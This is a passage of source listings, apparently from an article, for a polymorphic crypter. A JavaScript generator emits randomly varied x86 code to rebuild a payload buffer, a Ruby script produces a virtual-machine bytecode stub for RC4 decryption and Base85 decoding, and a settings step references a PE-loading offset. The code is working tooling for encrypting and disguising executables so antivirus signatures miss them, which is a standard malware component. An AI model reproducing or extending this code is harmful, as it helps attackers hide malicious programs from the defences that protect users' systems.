fs.writeFileSync(process.argv[2]+'\\stub.asm', stubSrcCode);
stt.saveSettings(process.argv[2]+'\\settings.json', ee.depth, (new Date()).getTime(), offsetLoadPE);

gendata.js

▼Одчинити
var fs = require('fs');
var _ = require('underscore');
var pad = require('./modules/node-pad/lib/pad.js');
const DONT_ADD_TO_LIST = 1; USE_ONLY_GENERAL_REGS = 2; LOCK_REG = 4; LOCK_VAR = 4;
const REG_EAX = 0, REG_EBX = 1, REG_ECX = 2, REG_EDX = 3, REG_ESI = 4, REG_EDI = 5, REG_EBP = 6;
const REG_DWORD = 0, REG_LOWORD = 1, REG_HIBYTE = 2, REG_LOBYTE = 3;
const REG_R32 = 0, REG_R16 = REG_LOWORD<<3, REG_R8H = REG_HIBYTE<<3, REG_R8L = REG_LOBYTE<<3;
const REG_AX=REG_EAX+(REG_LOWORD<<3), REG_BX=REG_EBX+(REG_LOWORD<<3), REG_CX=REG_ECX+(REG_LOWORD<<3), REG_DX=REG_EDX+(REG_LOWORD<<3),
      REG_AL=REG_EAX+(REG_LOBYTE<<3), REG_BL=REG_EBX+(REG_LOBYTE<<3), REG_CL=REG_ECX+(REG_LOBYTE<<3), REG_DL=REG_EDX+(REG_LOBYTE<<3),
      REG_AH=REG_EAX+(REG_HIBYTE<<3), REG_BH=REG_EBX+(REG_HIBYTE<<3), REG_CH=REG_ECX+(REG_HIBYTE<<3), REG_DH=REG_EDX+(REG_HIBYTE<<3),
      REG_SI=REG_ESI+(REG_LOWORD<<3), REG_DI=REG_EDI+(REG_LOWORD<<3);

const MEM32 = 0, MEM16 = 1, MEM8 = 2; 

function unchainMem(s) {
  var r=''; return ((_.isString(s) && (r = s.match(/\[([a-zA-Z\.]\w*)\]/)) !== null) ? r[1] : r); };
function unchainConst(s) {
  var r = ''; return ((_.isString(s) && (r = s.match(/0x[0-9a-fA-F]*/)) !== null) ? r[0] : r); };
function BytesToDword (B1, B2, B3, B4) {
  return ((B1 + (B2<<8)+(B3<<16) + (B4<<24))>>>0); };
Number.prototype.toHex = function() {
  return('0x'+this.toString(16).toUpperCase());};
function arrRndValue (arr) {
  return(arr[Math.floor(Math.random()*arr.length)]);};
function arrRndOrderConact(array){
  return(_.shuffle(array).join(''));};
var Register = function (sNameDW, sNameLW, sNameLB, sNameHB) {
  this.name = [sNameDW, sNameLW, sNameLB, sNameHB]; this.using = false; this.val=null;};
RegisterProto = {
  lock: function() { this.using = true;},
  unlock: function() { this.using = false; },
  toString: function(i) {if ( _.isUndefined(i) || i < 0 || i > 3) i = 0; return(this.name[i]);},
  isGeneral: function() {return(this.name[3] !== null);}};
Register.prototype = RegisterProto;

SetRegister = function(i) {if(_.isUndefined(i)||i<0||i>0x7f) i = 0; this.num = i;};
SetRegisterProto = {
    arrNames: ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'],
    has: function (i) { return ((_.isUndefined(i) || i < REG_EAX || i > REG_EBP) ? null: ((this.num & 1 << i)!=0));} ,
    add: function(i) { return ((_.isUndefined(i) || i < REG_EAX || i > REG_EBP) ? null: ((this.num |= ((1 << i)>>>0))>0));},
    remove: function(i) { return ((_.isUndefined(i) || i < REG_EAX || i > REG_EBP) ? null: ((this.num &= ~ ((1 << i)>>>0))>0));},
    toArrayIndex: function() { var x = []; _.each(_.range(REG_EBP+1), function(a){ if (this.has(a)) x.push(a);}, this); return(x); },
    toArrayIndexInverse: function() { var x = []; _.each(_.range(REG_EBP+1), function(a) { if (!this.has(a)) x.push(a);}, this); return(x); },
    toArrayNamesInverse: function() { return(_.map(this.toArrayIndexInverse(), function(x) { return (this.arrNames[x])}, this)); },
    toArrayNames: function() { return(_.map(this.toArrayIndex(), function(x) { return (this.arrNames[x])}, this)); }};
SetRegister.prototype = SetRegisterProto;

function Registers() {
    var rn = [['eax', 'ax', 'ah', 'al'], ['ebx', 'bx', 'bh', 'bl'], ['ecx', 'cx', 'ch', 'cl'], ['edx', 'dx', 'dh', 'dl'], ['esi', 'si', null, null ], ['edi', 'di', null, null], ['ebp', 'bp', null, null]];
    this.container = []; this.used = new SetRegister();
    _.each(rn, function(x, y) { this.container[y] = new Register(x[0], x[1], x[2], x[3]); }, this);};

RegistersProto = {
  objToIndex : function (a) {
    var b = null; _.find(this.container, function (x, y) { if (x === a) b=y; return (x === a);}, this); return(b);},
  arrIndexToArrObj : function (a) {
    return ((_.isUndefined(a) || (!_.isArray(a)) || _.find(a, function(x) {if (x>REG_EBP || x<REG_EAX) return(true);})) ? null : _.map(a, function(x) { return(this.container[x]); }, this));},
  getIndexByName : function (sName) {
    var num = NaN; _.find(this.container, function(x, y) { if (x.name[0]===sName) {num = y; return(true);} }, this); return (num);},
  getByIndex : function (i) { return ((_.isUndefined(i) || i < REG_EAX || i > REG_EBP) ? null : this.container[i]);},
  getArrFreeIndex : function () { return(this.used.toArrayIndexInverse()); },
  getArrFreeName : function () { return(this.used.toArrayNamesInverse()); },
  getArrFreeObj : function () { return(_.filter(this.container, function(x) {return(!x.using);}, this)); },
  getUsedIndex : function () {return(this.used.toArrayIndex());},
  getUsedNames : function() {return(this.used.toArrayNames());},
  getUsedObj : function () {return(this.arrIndexToArrObj(this.used.toArrayIndex()));},
  getFreeIndex : function(flags) {
    var  rs = this.getArrFreeObj(), r, res; 
    if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) {return(x.isGeneral());}, this); 
    if (!_.size(rs)) return(NaN); 
    r = arrRndValue(rs); 
    if (flags & LOCK_REG) r.lock(); 
    res = this.objToIndex(r);
    if (!(flags & DONT_ADD_TO_LIST)) this.used.add(res); 
    return(res);},
  getFreeObj : function(flags) {
    var  rs = this.getArrFreeObj(), r; 
    if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) { return(x.isGeneral()); }, this); 
    if (!_.size(rs)) return(null); 
    r = arrRndValue(rs); 
    if (flags & LOCK_REG) r.lock();
    if (!(flags & DONT_ADD_TO_LIST)) this.used.add(this.objToIndex(r)); 
    return(r);}
}

Registers.prototype = RegistersProto;

function ExecutionEnvironment() {
  var f;
  this.regs = new Registers();
  this.tableCmd = [];
  f = function (p, f) { f.emit([['add', p[0].s, '1'], ['sub', p[0].s, '-1'], ['inc', p[0].s], ['lea', p[0].s, '['+p[0].s+'+0x1]']][_.random(3)]); }
  this.tableCmd.push(['inc', ['r8'], f]); 
  this.tableCmd.push(['inc', ['r16'], f]); 
  this.tableCmd.push(['inc', ['r32'], f]); 
  this.tableCmd.push(['inc', ['m32'], f]);
  f = function (p, f) { f.emit(['add', p[1].s, p[0].s]); };
  this.tableCmd.push(['add', ['c8', 'r8'], f]); 
  this.tableCmd.push(['add', ['c16', 'r16'], f]); 
  f = function (p, f) { f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+ p[1].s+'+'+unchainConst(p[0].s)+']']][_.random(1)]); };
  this.tableCmd.push(['add', ['c32', 'r32'],  f]);
  f = function (p, f) { f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+p[0].s+'+'+p[1].s+']']][_.random(4)>0?0:1]); };
  this.tableCmd.push(['add', ['r32', 'r32'],  f]);
  f = function (p, f) { f.emit([['push', p[0].s, ';', 'pop', p[1].s], ['mov', p[1].s, p[0].s]][_.random(9)>0?1:0]); };
  this.tableCmd.push(['load', ['m32', 'r32'], f]); 
  this.tableCmd.push(['load', ['r32', 'm32'], f]); 
  this.tableCmd.push(['load', ['r32', 'r32'], f]); 
  this.tableCmd.push(['load', ['c32', 'r32'], f]); 
  this.tableCmd.push(['load', ['c32', 'm32'], f]);
  f = function (p, f) { f.emit(['push', p[0].s, ';', 'pop', p[1].s]); };
  this.tableCmd.push(['load', ['m32', 'm32'], 2, f]);
  f = function (p, f) { f.emit([['add', p[0].s, '-0x1'], ['sub', p[0].s, '0x1'], ['dec', p[0].s], ['lea', p[0].s, '['+p[0].s+'-0x1]']][_.random(3)]); };
  this.tableCmd.push(['dec', ['r8'], 1, f]); this.tableCmd.push(['dec', ['r16'], 1, f]); this.tableCmd.push(['dec', ['r32'], 1, f]);
  f = function(p, f) { f.emit([['test', p[0].s, p[0].s], ['cmp', p[0].s, (0).toHex()], ['or', p[0].s, p[0].s]][_.random(2)]); };
  this.tableCmd.push(['checkz', ['r8'], f]); 
  this.tableCmd.push(['checkz', ['r16'], f]); 
  this.tableCmd.push(['checkz', ['r32'], f]);
  f = function(p, f) { f.emit([['mov', p[0].s, '0x0'], ['push', '0x0', ';', 'pop', p[0].s], ['and', p[0].s, '0x0'], ['xor', p[0].s, p[0].s], ['sub', p[0].s, p[0].s]][_.random(4)]);};
  this.tableCmd.push(['loadz', ['r32'],  f]);
  f = function(p, f) { f.emit(['movzx', p[1].s, p[0].s]); };
  this.tableCmd.push(['loadzx', ['m8', 'r32'], f]);
  this.tableCmd.push(['loadzx', ['m16', 'r32'], f]);
  f = function(p, f) { 
    var r; 
    if (_.random(1)) { 
      f.emit(['cmp', p[1].s, p[0].s]);} 
    else { 
      r = f.getFreeReg(LOCK_REG); 
      f.cmd('loadzx_m16$r32', [unchainMem(p[1].s), r.i]);
      f.emit(['cmp', r.s, (p[0].i).toHex()]); 
      r.o.unlock();};};
  this.tableCmd.push(['check', ['c16', 'm16'], f]); 
  f = function(p, f) { f.emit(['cmp', p[1].s, p[0].s]); };
  this.tableCmd.push(['check', ['c32', 'm32'], f]); 
  this.tableCmd.push(['check', ['m32', 'r32'], f]);
  this.code = '';};

ExecutionEnvironmentProto = {
    emit : function (line) {
    ax = []; ay= []; if (_.isString(line)) {this.code+=line;return(line);} if (!_.isArray(line)) return(null);
    _.each(line, function(x, i, arr) { if (x == ';') { ay.push(ax); ax = []; return(0); } ax.push(x); } , this); if (_.size(ax)) ay.push(ax); 
    this.code+=_.reduce(ay, function(m, x) { var s =''; if(_.size(x)){s='    '+pad(x[0], 8); 
    if (_.size(x) > 1) { s += x.slice(1).join(', ');}} return(m+s+'\n');}, '', this);return(true);},
    toString : function () {return(this.code);},
    toType : function(t, v) {
      var getRSZ, isMem, toMem, toReg, oTableType; 
      getRSZ = function(a) { return((a>>3)&3); };
      isMem = function (a) { return(_.isString(a) ? '['+a+']': null); };
      toMem = function (m, i) { var obj = {'0':'DWord', '1':'Word', '2':'Byte'}, p; 
        return((_.isUndefined(i)||(!(p = isMem(m)))||(!_.isNumber(i)))?null:(_.has(obj, i)?{s:obj[i]+' '+p, o: null, i:null}:null)) };
      toReg = function (p, ee) { return({i: p, o: ee.regs.getByIndex(p&7), s: ee.regs.getByIndex(p&7).toString(getRSZ(p))});};
      oTableType = {
        'm32': function (p, ee) { return(toMem(p, MEM32)); }, 
        'm16': function (p, ee) { return(toMem(p, MEM16)); }, 
        'm8':  function (p, ee) { return(toMem(p, MEM8)); }, 
        'r32': function (p, ee) { return((_.isUndefined(p)||(p<REG_EAX)||p>REG_EBP)?null:toReg(p, ee)); },
        'r16': function (p, ee) { return((_.isUndefined(p) || (getRSZ(p)!==REG_LOWORD)) ? null:toReg(p, ee)); },
        'r8': function (p, ee)  { return((_.isUndefined(p) || (getRSZ(p)!==REG_HIBYTE&&getRSZ(p)!==REG_LOBYTE)) ? null:toReg(p, ee)) },
        'c32': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'DWORD ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null)) },
        'c16': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'WORD '  + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null)) },
        'c8': function (p, ee)  { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'BYTE '  + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null)) }};
      return(_.has(oTableType,t)?oTableType[t](v,this):null);},
    cmd : function(name, params) {
      var p = [], c = _.find(this.tableCmd, function(x) { return ( (!_.size(x[1])) || (x[0]+'_'+x[1].join('$')===name));}, this);
      if (!c) return(false); 
      _.each(c[1], function (x, i) { var v = this.toType(x, params[i]); if (v) p.push(v);}, this); 
      c[2](p, this);},
    getFreeReg: function(f) {
      return(this.toType('r32', this.regs.getFreeIndex(f)));}};

ExecutionEnvironment.prototype = ExecutionEnvironmentProto;

function getRnd(arr) {
  var rnd = _.random(_.reduce(arr, function (a, b) {return(a+b)})-1), i=0, r = null, sum = 0;
  _.each(arr, function(m, n) { sum+=m; if ((r===null)&&(rnd<sum)) r = n; }, this);
  return(r);};

function generateData (buff, memdest, local) {
  var e = new ExecutionEnvironment();
  e.regs.container[REG_EBP].lock();
  var rPtr = e.getFreeReg(LOCK_REG), r, i=0;
  if (local) { e.emit(['lea',rPtr.s,'['+memdest+']']); } else { e.emit(['mov',rPtr.s,'['+memdest+']']); };
  while (i < _.size(buff)) {
    if ((buff.length - i) > 4) {
      dwVal = BytesToDword(buff[i], buff[i+1], buff[i+2], buff[i+3]);
      switch (getRnd([20, 20, 2, 2, 10, 10])) {
        case 0: 
          e.cmd('load_c32$m32', [dwVal, rPtr.s]);
          break;
        case 1:
          var rVal = e.getFreeReg(LOCK_REG);
          e.cmd('load_c32$r32', [dwVal, rVal.i]);
          e.cmd('load_r32$m32', [rVal.i, rPtr.s]);
          rVal.o.val = dwVal;
          rVal.o.unlock();
          break;
        case 2:
          var rVal = e.getFreeReg(LOCK_REG);
          e.cmd('load_c32$r32', [(~dwVal)>>>0, rVal.i]);
          e.emit(['not', rVal.s]);
          e.cmd('load_r32$m32', [rVal.i, rPtr.s]);
          rVal.o.val = dwVal;
          rVal.o.unlock();
          break;
        case 3:
          var rVal = e.getFreeReg(LOCK_REG)
          e.cmd('load_c32$r32', [(~dwVal)>>>0, rVal.i]); 
          e.cmd('load_r32$m32', [rVal.i, rPtr.s]); 
          e.emit(['not', 'DWord ['+rPtr.s+']']);
          rVal.o.val = ~dwVal;
          rVal.o.unlock();
          break;
        case 4:
          var regVal = e.getFreeReg(LOCK_REG)
          var rndVal = _.random(0xFFFFFFFF)
          e.cmd('load_c32$r32', [(rndVal)>>>0, regVal.i]);
          e.emit(['xor', regVal.s, ((rndVal^dwVal)>>>0).toHex()]);
          e.cmd('load_r32$m32', [regVal.i, rPtr.s]); 
          regVal.o.val = (dwVal)>>>0;
          regVal.o.unlock();
          break;
        case 5:
          var rndVal = _.random(0xFFFFFFFF)
          e.cmd('load_c32$m32', [(rndVal)>>>0, rPtr.s]);
          e.emit(['xor', 'DWord ['+rPtr.s+']', ((rndVal^dwVal)>>>0).toHex()]);
          break;}
        e.cmd('add_c32$r32', [0x4, rPtr.i]);
        i+=4; } 
      else { 
        e.emit(['mov','BYTE ['+rPtr.s+']', buff[i].toHex()]); 
        i++;
        if (i < buff.length) { 
          e.cmd('inc_r32', [rPtr.i]); };};};
  return(e.code);};

module.exports = generateData;

Файл pcode.rb використовується для створення асемблерного лістингу алгоритмів шифрування і кодування.

▼Одчинити
require 'json'
header = <<PCODE_FASM_HEADER
format binary
use32
include '%FASMINC%/win32a.inc'
include 'picovm.inc'

macro @ cmd, p {
 PICOVM_CMD cmd, p
}

PCODE_FASM_HEADER
$settings = JSON.parse(IO.read(ARGV[0]+'\settings.json'))

def _loadc (iConst)
  if (iConst<-1 || iConst>0xffff )
    return("@ _LOADCD, 0x#{iConst.to_s(16)}")
  elsif (iConst > 0xff)
    return(["@ _LOADCD, 0x#{iConst.to_s(16)}", "@ _LOADCW, 0x#{iConst.to_s(16)}"][rand(2)])
  else
    return(["@ _LOADCD, 0x#{iConst.to_s(16)}", "@ _LOADCW, 0x#{iConst.to_s(16)}", "@ _LOADCB, 0x#{iConst.to_s(16)}"][rand(3)])
  end
end

pcode_header = <<PCODE_HEADER
__Start__:
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd]
    #{_loadc(0x3)}
    @ _PICK
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd, crcdsize]
    #{_loadc(0x3)}
    @ _PICK
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd, crcdsize, pdst]
    @ _SWAP
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd, pdst, crcdsize]
    @ _LOADCD, BASE85-.toBase85
.toBase85:
    @ _CALLR
; [pS, ppass, crcdsize, pdst]
;   @ _HLT
    @ _SWAP
; [pS, ppass, pdst, crcdsize]
    #{_loadc(0x5)}
    @ _DIV
    #{_loadc(0x4)}
    @ _MUL
; [pS, lpKey, lpBuf, dwBufLen]
    @ _ROT
    @ _SWAP
; [pS, lpBuf, lpKey, dwBufLen]
    #{_loadc($settings['pass']['val'].length)}
; [pS, lpBuf, lpKey, dwBufLen, dwKeyLen]
    #{_loadc(0x4)}
    @ _ROLL
; [lpBuf, lpKey, dwBufLen, dwKeyLen, pS]
    @ _LOADCD, RC4-@F
@@:
    @ _CALLR
    @ _HLT
PCODE_HEADER

pcode_RC4 = <<PCODE_RC4_FUNCTION
; [lpBuf, lpKey, dwBufLen, dwKeyLen, pS]
RC4:
@ _LOADCB, 0 ;B
@ _DUP ;A
@ _ROT
@ _SWAP
.for1_up:
@ _DUP
@ _LOADCW, 0x100;
@ _EQ
@ _NOT
@ _LOADCD, .for1_down-.tofor1_down
.tofor1_down:
@ _JMPC
@ _OVER
@ _OVER
@ _ADD
@ _OVER
@ _SWAP
@ _STOREB
@ _LOADCB, 0x1                           
@ _ADD
@ _LOADCD, .for1_up-.tofor1_up
.tofor1_up:
@ _JMPR
.for1_down:
@ _DROP
@ _LOADCB, 0x0
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0]
.for2_up:
@ _DUP
@ _LOADCW, 0x100
@ _EQ
@ _NOT
@ _LOADCD, .for2_down-.tofor2_down
.tofor2_down:
@ _JMPC
@ _OVER
@ _OVER
@ _ADD
@ _FETCHB
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]]
@ _LOADCB, 0x3
@ _PICK
@ _ADD 
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]+B]
@ _OVER
@ _LOADCB, 0x5
@ _PICK
@ _MOD
@ _LOADCB, 0x7
@ _PICK
@ _ADD
@ _FETCHB
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]+B, lpKey [A % dwKeyLen]]
@ _ADD
@ _LOADCB, 0xFF
@ _AND
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]+B+lpKey [A % dwKeyLen]]
@ _LOADCB, 0x3
@ _ROLL
@ _DROP
;[lpBuf, lpKey, dwBufLen, dwKeyLen, pS, A, B]
@ _ROT
;[lpBuf, lpKey, dwBufLen, dwKeyLen, A, B, pS]
@ _ROT
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A]
@ _OVER
@ _OVER
@ _ADD
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A, pS+A]
@ _LOADCB, 0x2
@ _PICK
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A, pS+A, pS]
@ _LOADCB, 0x4
@ _PICK
@ _ADD
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A, pS+A, pS+B]
@ _OVER
@ _FETCHB
@ _OVER
@ _FETCHB
@ _SWAP
@ _ROT
@ _STOREB
@ _SWAP
@ _STOREB
@ _LOADCB, 0x1
@ _ADD
@ _LOADCD, .for2_up-.tofor2_up
.tofor2_up:
@ _JMPR
.for2_down:
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A]
@ _ROT
;[lpBuf, lpKey, dwBufLen, dwKeyLen, pS, A, B]
@ _LOADCB, 0x3
@ _ROLL
@ _DROP
;[lpBuf, lpKey, dwBufLen, pS, A, B]
@ _LOADCB, 0x4
@ _ROLL
@ _DROP
@ _SWAP
;[lpBuf, dwBufLen, pS, B, A]
.for3_up:
@ _LOADCB, 0x3
@ _ROLL
@ _DUP
;[lpBuf, pS, B, A, dwBufLen, dwBufLen]
@ _LOADCD, .for3_down-.tofor3_down
.tofor3_down:
@ _JMPC
@ _LOADCB, 0x1
@ _SUB
;[lpBuf, pS, B, A, dwBufLen]
@ _SWAP
@ _LOADCB, 0x1
@ _ADD
@ _LOADCB, 0xFF
@ _AND
;[lpBuf, pS, A, dwBufLen, (A+1)%255]
@ _ROT
;[lpBuf, pS, dwBufLen, (A+1)%255, B]
@ _OVER
@ _LOADCB, 0x4
@ _PICK
@ _ADD
@ _FETCHB
@ _ADD
@ _LOADCB, 0xFF
@ _AND
@ _OVER
@ _OVER
@ _LOADCB, 0x5
@ _PICK
@ _ADD
@ _SWAP
@ _LOADCB, 0x5
@ _PICK
@ _ADD
@ _OVER
@ _OVER
;
@ _OVER
@ _FETCHB
@ _OVER
@ _FETCHB
@ _SWAP
@ _ROT
@ _STOREB
@ _SWAP
@ _STOREB
;
@ _FETCHB
@ _SWAP
@ _FETCHB
@ _ADD
@ _LOADCB, 0xFF
@ _AND
@ _LOADCB, 0x4
@ _PICK
@ _ADD
@ _FETCHB
@ _LOADCB, 0x5
@ _PICK
@ _FETCHB
@ _XOR
@ _LOADCB, 0x5
@ _PICK
@ _STOREB
@ _LOADCB, 0x4
@ _ROLL
@ _LOADCB, 0x1
@ _ADD
@ _ROT
@ _ROT
@ _LOADCB, 0x4
@ _ROLL
@ _LOADCB, 0x4
@ _ROLL
@ _LOADCB, 0x3
@ _ROLL
@ _LOADCB, 0x3
@ _ROLL
@ _LOADCB, 0x3
@ _ROLL
@ _ROT
@ _ROT
@ _SWAP
@ _LOADCD, .for3_up-.tofor3_up
.tofor3_up:
@ _JMPR
.for3_down:
@ _DROP
@ _DROP
@ _DROP
@ _DROP
@ _DROP
@ _RET
PCODE_RC4_FUNCTION

pcode_BASE85 = <<PCODE_BASE85_FUNCTION
; BASE85
;[pAlphabet, pSrc, pDst, Size]
BASE85:
@ _DUP
#{_loadc(0x0)}
@ _EQ
@ _NOT
@ _LOADCD, .Down-.toDown
.toDown:
@ _JMPC
#{_loadc(0x5)}
@ _SUB
@ _ROT
;[pAlphabet, pDst, Size, pSrc]
#{_loadc(0x3)}
@ _PICK
;[pAlphabet, pDst, Size, pSrc, pAlphabet]
@ _SWAP
;[pAlphabet, pDst, Size, pAlphabet, pSrc]
@ _LOADCD, DECODE_DWORD-.toDecodeDWord
.toDecodeDWord:
@ _CALLR
;[pAlphabet, pDst, Size, pSrc, DW]
#{_loadc(0x3)}
@ _PICK
;[pAlphabet, pDst, Size, pSrc, DW, pDst]
@ _STORED
;[pAlphabet, pDst, Size, pSrc]
@ _ROT
;[pAlphabet, Size, pSrc, pDst]
#{_loadc(0x4)}
@ _ADD
@ _ROT
;[pAlphabet, pSrc, pDst, Size]
@ _LOADCD, BASE85-.toUp
.toUp:
@ _JMPR
.Down:
@ _DROP
@ _DROP
@ _DROP
@ _DROP
@ _RET
PCODE_BASE85_FUNCTION

pcode_SEARCHB = <<PCODE_SEARCHB_FUNCTION
SEARCHB:
@ _OVER
@ _SWAP
.Up:
@ _OVER
@ _FETCHB
@ _OVER
;[pMem, pMem, bVal, [pMem], bVal]
@ _EQ
;[pMem, pMem, bVal, BOOL]
@ _NOT
@ _LOADCD, .Down-.toDown
.toDown:
@ _JMPC
@ _SWAP
#{_loadc(0x1)}
@ _ADD
@ _SWAP
@ _LOADCD, .Up-.toUp
.toUp:
@ _JMPR
.Down:
@ _DROP
@ _SWAP
@ _SUB
@ _RET
PCODE_SEARCHB_FUNCTION

pcode_DECODE_DWORD = <<PCODE_DECODE_DWORD_FUNCTION
;[pAlphabet, pSrc] => [pSrc, DW]
DECODE_DWORD:
@ _LOADCB, 0
@ _OVER
@ _FETCHB
;[pAlphabet, pSrc, 0, [pSrc]]
#{_loadc(0x3)}
@ _PICK
@ _SWAP
;[pAlphabet, pSrc, 0, Alphabet, [pSrc]]
@ _LOADCD, SEARCHB -.toSearchB1
.toSearchB1:
@ _CALLR
@ _ADD
@ _SWAP
#{_loadc(0x1)}
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
#{_loadc(0x3)}
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB2
.toSearchB2:
@ _CALLR
#{_loadc(85)}
@ _MUL
@ _ADD
@ _SWAP
#{_loadc(0x1)}
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
#{_loadc(0x3)}
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB3
.toSearchB3:
@ _CALLR
@ _LOADCW, 85*85
@ _MUL
@ _ADD
@ _SWAP
#{_loadc(0x1)}
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
#{_loadc(0x3)}
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB4
.toSearchB4:
@ _CALLR
@ _LOADCD, 85*85*85
@ _MUL
@ _ADD
@ _SWAP
#{_loadc(0x1)}
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
#{_loadc(0x3)}
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB5
.toSearchB5:
@ _CALLR
@ _LOADCD, 85*85*85*85
@ _MUL
@ _ADD
@ _ROT
@ _DROP
@ _SWAP
#{_loadc(0x1)}
@ _ADD
@ _SWAP
@ _RET
PCODE_DECODE_DWORD_FUNCTION

pcode = header+pcode_header+"\n"+[pcode_RC4, pcode_SEARCHB, pcode_BASE85, pcode_DECODE_DWORD].shuffle*"\n"
f = File.new(ARGV[0]+'\pcode.asm', 'w')
f.puts(pcode)
f.close

platform.js

▼Одчинити
var pad = require('./modules/node-pad/lib/pad.js');
var fs = require('fs');
var _ = require('underscore');
const DONT_ADD_TO_LIST = 1; USE_ONLY_GENERAL_REGS = 2; LOCK_REG = 4; LOCK_VAR = 4;

exports.DONT_ADD_TO_LIST = DONT_ADD_TO_LIST; exports.USE_ONLY_GENERAL_REGS = USE_ONLY_GENERAL_REGS; exports.LOCK_REG = LOCK_REG; 
exports.LOCK_VAR = LOCK_VAR;

const REG_EAX = 0, REG_EBX = 1, REG_ECX = 2, REG_EDX = 3, REG_ESI = 4, REG_EDI = 5, REG_EBP = 6;
exports.REG_EAX = REG_EAX; exports.REG_EBX = REG_EBX; exports.REG_ECX = REG_ECX; exports.REG_EDX = REG_EDX; exports.REG_ESI = REG_ESI;
exports.REG_EDI = REG_EDI; exports.REG_EBP = REG_EBP;

const REG_DWORD = 0, REG_LOWORD = 1, REG_HIBYTE = 2, REG_LOBYTE = 3;
exports.REG_DWORD = REG_DWORD; exports.REG_LOWORD = REG_LOWORD; exports.REG_HIBYTE = REG_HIBYTE; exports.REG_LOBYTE = REG_LOBYTE; 

const REG_R32 = 0, REG_R16 = REG_LOWORD<<3, REG_R8H = REG_HIBYTE<<3, REG_R8L = REG_LOBYTE<<3;
exports.REG_R32 = REG_R32; exports.REG_R16 = REG_R16; exports.REG_R8H = REG_R8H; exports.REG_R8L = REG_R8L;

const REG_AX=REG_EAX+(REG_LOWORD<<3), REG_BX=REG_EBX+(REG_LOWORD<<3), REG_CX=REG_ECX+(REG_LOWORD<<3), REG_DX=REG_EDX+(REG_LOWORD<<3),
      REG_AL=REG_EAX+(REG_LOBYTE<<3), REG_BL=REG_EBX+(REG_LOBYTE<<3), REG_CL=REG_ECX+(REG_LOBYTE<<3), REG_DL=REG_EDX+(REG_LOBYTE<<3),
      REG_AH=REG_EAX+(REG_HIBYTE<<3), REG_BH=REG_EBX+(REG_HIBYTE<<3), REG_CH=REG_ECX+(REG_HIBYTE<<3), REG_DH=REG_EDX+(REG_HIBYTE<<3),
      REG_SI=REG_ESI+(REG_LOWORD<<3), REG_DI=REG_EDI+(REG_LOWORD<<3);

exports.REG_AX = REG_AX; exports.REG_BX = REG_BX; exports.REG_CX = REG_CX; exports.REG_DX = REG_DX;
exports.REG_AL = REG_AL; exports.REG_BL = REG_BL; exports.REG_CL = REG_CL; exports.REG_DL = REG_DL;
exports.REG_AH = REG_AH; exports.REG_BH = REG_BH; exports.REG_CH = REG_CH; exports.REG_DH = REG_DH;
exports.REG_SI = REG_SI; exports.REG_DI = REG_DI;

const MEM32 = 0, MEM16 = 1, MEM8 = 2; 
exports.MEM32 = MEM32; exports.MEM16 = MEM16; exports.MEM8 = MEM8;

function unchainMem(s) {
    var r=""; 
    if (_.isString(s) && (r = s.match(/\[([a-zA-Z\.]\w*)\]/)) !== null) return(r[1]); 
    return(r);
}

function unchainConst(s){
    var r = ""; 
    if (_.isString(s) && (r = s.match(/0x[0-9a-fA-F]*/)) !== null) return(r[0]); 
    return(r);}

function BytesToDword (B1, B2, B3, B4) {
    var iResult = B1 + (B2<<8)+(B3<<16) + (B4<<24);
    return(iResult>>>0);};

alignBy = function (m, n) {
    return(n * Math.floor(((m+n-1)/n))); };

exports.BytesToDword = BytesToDword;

Number.prototype.toHex = function() {
    return('0x'+this.toString(16)); };

function arrRndValue (arr) {                                                                           
    return(arr[Math.floor(Math.random()*arr.length)]);};

function arrRndOrderConact(array){
    return(_.shuffle(array).join(''));};
    
var Register = function (sNameDW, sNameLW, sNameLB, sNameHB) {
    this.name = [sNameDW, sNameLW, sNameLB, sNameHB]; this.using = false; };

RegisterProto = {
    lock: function() { this.using = true;},

    unlock: function() { this.using = false; },

    toString: function(i) {if ( _.isUndefined(i) || i < 0 || i > 3) i = 0; return(this.name[i]);},

    isGeneral: function(){return(this.name[3] !== null);}};

SetRegister = function(i) {if(_.isUndefined(i)||i<0||i>0x7f) i = 0; this.num = i;};

module.exports.Register = Register;
module.exports.Register.prototype = RegisterProto;

SetRegisterProto = {
    arrNames: ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'],

    has: function (i) {
